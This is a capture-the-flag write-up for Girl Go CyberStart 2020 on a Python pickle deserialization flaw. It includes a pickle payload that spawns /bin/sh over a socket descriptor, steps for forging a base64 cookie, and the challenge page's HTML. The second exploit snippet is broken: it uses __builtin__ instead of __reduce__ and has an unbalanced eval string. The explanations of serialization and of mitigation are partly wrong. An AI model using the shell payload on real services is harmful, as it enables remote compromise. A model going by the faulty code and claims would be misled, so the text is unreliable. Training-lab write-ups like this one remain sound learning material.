Deserialization Attack--- write up for Girl Go CyberStart 2020
Deserialization in python:
Approach 2: we can also change the cookie in the browser to get the flag and refresh the page.
How it works?
There is a library names 'pickle'. When we leverage 'pickle.load', it changes the serialized object completely during serialization because of '__reduce__'. As we know, when we serialize an object, the spacial method like '__init__' will be automatically executed.
Mitigation:
Leverage API like '__getnewargs()', '__getstate__()' and '__setstate__()' instead.
e.g. : reverse shell of pickle:
import cPickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
fd = 20
return (subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd # std{in,out,err}
))
print base64.b64encode(cPickle.dumps(Exploit()))
Problem: find the flag in the page:
Step1: type 'aa' in the block, it sends 'hello aa Reload your greeting'
Then we can check the source code of it.
As we can see, the program is going to read the data from the cookie first. After we submit in the block and send 'POST' request, the result will reload into the cookie.
Step 2: check the cookie. As we can see, there indeed is a attribute in the cookie named 'userdata' which is encrypted with 'base64'.
Step 3: then we try to decode it in base64, we get the plaintext of it. It start with '(dp0' and end with 's.'. It looks like Deserialization vulnability.
Step 4: built our own API and change it to 'base64'
Step 5: spoof the data and send the request through 'curl', then we get the flag.
Write Deserialization code with 'pickle' libarary :
import cPickle
import subprocess
import base64
class c(object):
def __builtin__(self):
eval("""exec("user['name']=flag)""")
return ""
#print base64.b64encode(cPickle.dumps(c()))
print cPickle.dumps(c())
Source code of the problem:
<html>
<head>
<title>Who are you?</title>
<link rel="stylesheet" href="assets/css/main.css">
<script src="js/jquery-3.4.1.min.js"></script>
<script src="js/js.cookie.min.js"></script>
<script>
$(document).ready(function() {
var udata = Cookies.get("userdata");
if (typeof udata !== 'undefined') {
var lambda_endpoint = "https://lambda-"
var domain = window.location.hostname
var apigw = lambda_endpoint.concat(domain)
$.ajax({
type: "POST",
url: "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wx01",
contentType: 'application/json',
data: JSON.stringify({
'userdata': udata
}),
success: function(res){
$("#output").append(res.body);
},
error: function(err){
console.log(err);
}
});
}
$("#submit").click(function(e) {
e.preventDefault();
var name = $("#name").val()
var lambda_endpoint = "https://lambda-"
var domain = window.location.hostname
var apigw = lambda_endpoint.concat(domain)
$.ajax({
type: "POST",
url: "https://oo5apsmnc8.execute-api.eu-west-1.amazonaws.com/stag/wx01",
contentType: 'application/json',
data: JSON.stringify({
'name': name
}),
success: function(res){
var userdata = Cookies.set("userdata", res.body)
$("#output").append("Reload for your greeting...")
},
error: function(err){
console.log(err);
}
});
})
});
</script>
</head>
<body>
<div class="container h-mt-5">
<div class="c-well">
<h1>Who are you?</h1>
<form>
<label class="c-form-label">Name: </label>
<input type="text" id="name" class="c-form-input" name="name" />
<input type="submit" id="submit" class="c-btn c-btn--primary" value="Submit" type="button" />
</form>
<div id="output" class="h-mb-4"></div>
<p class="h-mb-4 h-text-center">By the way, this is my favourite cereal...</p>
<img src="img/cereal.png" />
</div>
</div>
</body>
</html>